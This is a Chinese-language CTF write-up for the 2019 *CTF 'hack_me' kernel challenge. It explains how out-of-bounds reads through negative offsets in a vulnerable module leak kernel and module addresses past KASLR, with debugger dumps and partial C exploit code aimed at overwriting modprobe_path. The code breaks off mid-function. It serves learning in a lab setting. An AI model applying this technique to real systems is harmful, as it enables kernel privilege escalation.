2019 *CTF hack_me

利用内核漏洞实现任意读写:CTF挑战解析
本文详细介绍了如何利用内核模块的内存漏洞进行任意地址读写,包括分析内核保护机制、泄露内核及模块地址、构造payload实现内存操控。通过调试和实验,展示了如何绕过kaslr并最终获取flag的过程,揭示了内核安全的重要性。

题目

2019 *CTF hack_me

保护

$ checksec ./hackme.ko
[*] '/home/hnhuangjingyu/hackme/hackme.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
-----------------------------------------------------------------------------------------------
$ strings vmlinux| grep "gcc"
%s version %s (hzshang@ub18) (gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04)) %s
Linux version 4.20.13 (hzshang@ub18) (gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04)) #10 Fri Mar 1 11:53:51 CST 2019
-----------------------------------------------------------------------------------------------
$ cat startvm.sh
qemu-system-x86_64 \
    -m 256M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=4,threads=2 \
    -s \
    -cpu qemu64,smep,smap 2>/dev/null
-----------------------------------------------------------------------------------------------
$ cat rootfs/etc/init.d/rcS
#!/bin/sh

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/hackme.ko
chmod 644 /dev/hackme

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
chown -R 1000:1000 .

cd ../..

setsid cttyhack setuidgid 1000 sh

umount /proc
#poweroff -f

  • linux-4.20.13
  • ko只开了nx
  • 内核开启了kaslr、smep、smap

分析

在这里插入图片描述

在这里插入图片描述

思维导图

在这里插入图片描述

实现的功能类似堆题的菜单题

思路

其中offset可以写入负数从而读取堆地址前面的内容,这题其实没有什么代码漏洞,当时还找了挺久的代码逻辑漏洞,发现没有,相同的大小堆块(slab-object)在释放后会重新回到freelist表中,后面申请相同大小的堆块会重新分配出来当时做题目的时候不知道这里概念,虽然研究过slab分配的原理,堆块释放后会重新回到freelist,但是没想到它就放在fd指针处,这里还是得实际调试才能发现到。。。。有点菜。。。

那么就很容易了,题目有kaslr需要泄漏模块地址,在发现modprobe_path方式获取flag后回不去。。其他方法原理掌握了该题的任意读写姿势就都差不多,,,因为要使用modprobe_path所以需要泄漏内核地址

为了方便调试先将kaslr关闭和开启root权限,在申请了一个堆块后

方法声明:

struct buf{
   
   
    size_t idx;
    char *buf;
    size_t size;
    size_t offset;
}mem;

int fd;

void add(long idx , char * buf , long size);
void edit(long idx , char * buf , long size, long offset);
void dele(long idx);
void show(long idx , char * buf , long size, long offset);
void loadFoot();
void leak();

main:

//----------------exp-------------------------
add(0,"0",0x100);
//----------------pool地址-------------------------
0xffffffffc0002400│+0x0000   0xffff888000179400 //分配到的slab-obj指针
0xffffffffc0002408│+0x0008   0x0000000000000100 //size
0xffffffffc0002410│+0x0010   0x0000000000000000
0xffffffffc0002418│+0x0018   0x0000000000000000
//----------------内存数据-------------------------
gef➤  telescope 0xffff888000179400
0xffff888000179400│+0x0000: 0x257830203e2d0030  →  0x257830203e2d0030
0xffff888000179408│+0x0008: 0x6b6d000a20786c6c  →  0x6b6d000a20786c6c
0xffff888000179410│+0x0010: 0x706d7420726964  →  0x706d7420726964
0xffff888000179418│+0x0018: 0x6863650000000000  →  0x6863650000000000
0xffff888000179420│+0x0020: 0x232720656e2d206f  →  0x232720656e2d206f
0xffff888000179428│+0x0028: 0x68732f6e69622f21  →  0x68732f6e69622f21
0xffff888000179430│+0x0030: 0x2f6e69622f0a2020  →  0x2f6e69622f0a2020
0xffff888000179438│+0x0038: 0x67616c662f207063  →  0x67616c662f207063
0xffff888000179440│+0x0040: 0x6c662f706d742f20  →  0x6c662f706d742f20
0xffff888000179448│+0x0048: 0x69622f0a20206761  →  0x69622f0a20206761
//因为向后只能读取0x100的内存,且后面的0x100内存数据都是字符串数据,所以向前偏移0x100看看数据,如下:
gef➤  telescope 0xffff888000179400-0x100
0xffff888000179300│+0x0000: 0xffff888000179378  →  0xffff8880001793f8  →  0x00000000797470 
0xffff888000179308│+0x0008: 0x00000100000000  →  0x00000100000000
0xffff888000179310│+0x0010: 0x00000000000001  →  0x00000000000001
0xffff888000179318│+0x0018: 0x00000000000000  →  0x00000000000000
0xffff888000179320│+0x0020: 0xffff888000179378  →  0xffff8880001793f8  →  0x00000000797470 
0xffff888000179328│+0x0028: 0xffffffff81849ae0  →  0x00000000000000  →  0x00000000000000
0xffff888000179330│+0x0030: 0xffffffff81849ae0  →  0x00000000000000  →  0x00000000000000
//可以看到这里有个内核地址0xffffffff81849ae0

有了内核地址在计算出modprobe_path的偏移即可得到modprobe_path的地址

size_t modprobe_path;

    add(0,"0",0x100);
    size_t buf[0x100 / 8] = {
   
   0};
    show(0,buf,sizeof buf,- sizeof buf);//向前读0x100的内存
    for(int i = 0 ;i < sizeof(buf) ; i++){
   
   
        if(buf[i] >> 4*8 == 0xffffffff){
   
   
            modprobe_path = buf[i] - (0xffffffff81849ae0 - 0xffffffff8183f960);
            printf("kernel -> 0x%llx \n",buf[i]);
            printf("modprobe_path -> 0x%llx \n",modprobe_path);
            break;
        }
    }
}

现在还需要泄漏模块设备地址,因为show对pool[idx]的长度没有限制,那么看看pool里的内容

//可以看到冲偏移为0xc00后的地址开始出现了数据,且有没开kaslr时的模块地址0xffffffffc0000000、0xffffffffc0002000
gef➤  telescope 0xffffffffc0002400+0xc00
0xffffffffc0003000│+0x0000: 0x00005500000000  →  0x00005500000000
0xffffffffc0003008│+0x0008: 0x00000000000000  →  0x00000000000000
0xffffffffc0003010│+0x0010: 0x00000000000000  →  0x00000000000000
0xffffffffc0003018│+0x0018: 0x02007400000001  →  0x02007400000001
0xffffffffc0003020│+0x0020: 0xffffffffc0000000  →  0x54415541e5894855  →  0x54415541e5894855
0xffffffffc0003028│+0x0028: 0x0000000000016f  →  0x0000000000016f
0xffffffffc0003030│+0x0030: 0x0800640000000e  →  0x0800640000000e
0xffffffffc0003038│+0x0038: 0xffffffffc0002000  →  0x0000000000003a  →  0x0000000000003a
0xffffffffc0003040│+0x0040: 0x00000000000050  →  0x00000000000050
0xffffffffc0003048│+0x0048: 0x08006400000013  →  0x08006400000013
//而因为show模块读取的数据是一个指针层级关系,所以需要指针指向的地址为模块地址,那么在0xc50处即有这么一块
gef➤  telescope 0xffffffffc0002400+0xc50
0xffffffffc0003050│+0x0000: 0xffffffffc0002060  →  0xffffffffc0002180  →  0x00000000000000

那么就可以进行泄漏地址了

size_t modprobe_path , mod_addr;
void leak(){
   
   
    add(0,"0",0x100);
    size_t buf[0x100 / 8] = {
   
   0};
    show(0,buf,sizeof buf,- sizeof buf);//向前读0x100的内存
    for(int i = 0 ;i < sizeof(buf) ; i++){
   
   
        if(buf[i] >> 4*8 == 0xffffffff
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值